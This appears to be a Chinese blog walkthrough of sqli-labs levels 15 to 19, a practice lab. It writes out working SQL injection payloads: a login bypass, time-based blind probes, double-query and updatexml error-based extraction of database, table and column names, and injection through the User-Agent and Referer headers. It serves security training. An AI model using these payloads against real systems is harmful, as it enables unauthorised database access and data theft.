sqli靶场Less15-19

Less-15:

尝试输入万能语句'or 1=1,尝试后发现为单引号闭合,登录成功

sqli靶场Less15-19_第1张图片

查看源码, 报错信息被注释,可以使用时间型或布尔型进行尝试

sqli靶场Less15-19_第2张图片

猜数据库,缩小范围,猜出库名为security

uname=1   passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #

uname=1   passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #

 sqli靶场Less15-19_第3张图片

Less-16:

查看源码

sqli靶场Less15-19_第4张图片

使用万能语句:1") or 1=1 -- #   确认为带双引号的字符型注入。跟上一关一样,布尔型,时间型都可以使用。

猜数据库长度:  uname=1      passwd=1") or if(length(database())=8,1,sleep(5))-- #

sqli靶场Less15-19_第5张图片

Less-17:

sqli靶场Less15-19_第6张图片   

多次尝试后发现总是出现"已成功输入您的密码",查看源码,发现对user name进行了过滤。

check_input()的作用是检查用户输入,并将用户输入安全化,其中mysql_real_escape_string()会在\x00, \n, \r, \, ', " and \x1a这些字符前加入反斜线进行转义,防止注入,同时也避免了宽字节注入。

sqli靶场Less15-19_第7张图片

尝试单引号闭合:

sql="select username, password from users where username= uname limit 0,1"; update="updata users set password = 'passwd' where username='row1'"

考虑到不能回显有意义的信息,用双注入查询 构造如下:

user name:admin ,而new password:' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

sqli靶场Less15-19_第8张图片

使用updatexml()注入:'and updatexml(1,concat('~',(select version())),1)# 获取版本信息

sqli靶场Less15-19_第9张图片

查数据库:'and updatexml(1,concat('~',(select database())),1)#

sqli靶场Less15-19_第10张图片

 查表名:' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#

sqli靶场Less15-19_第11张图片

查列名:' and updatexml(1,concat('~',(select concat(column_name,';') from information_schema.columns where table_name='emails' limit 0,1)),1)#

 sqli靶场Less15-19_第12张图片

Less-18:

进入后显示Your IP address is: xx.xx.xx.xx  尝试输入常用注释,只显示:

sqli靶场Less15-19_第13张图片

 查看源码:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_16,color_FFFFFF,t_70,g_se,x_16

 发现uname和passwd都被过滤

sqli靶场Less15-19_第14张图片

只有用户再登陆成功后才会显示用户的user agent,并将uagent, ip_address, username插入到了uagents表中。

insert="insert into 'security'.'uagents'('uagnet','ip_address','username') values ('uagents','ip',uname)";并没有被进行过滤,可以从uagent下手。

使用BurpSuite抓包,修改User-Agent:

sqli靶场Less15-19_第15张图片

查数据库:

 ' and updatexml(1,concat('~',(select database())),1) and '1'='1

sqli靶场Less15-19_第16张图片

Less-19:

输入admin后只显示了个Referer

sqli靶场Less15-19_第17张图片

查看源码,使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译

sqli靶场Less15-19_第18张图片

输入正确的用户名密码:username=admin   password=admin,之后使用Burp Suite抓包,修改referer。

sqli靶场Less15-19_第19张图片

 

获取所有数据库名:

1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name)from information_schema.schemata),1,31)),3) and '

 sqli靶场Less15-19_第20张图片

 

你可能感兴趣的:(sql)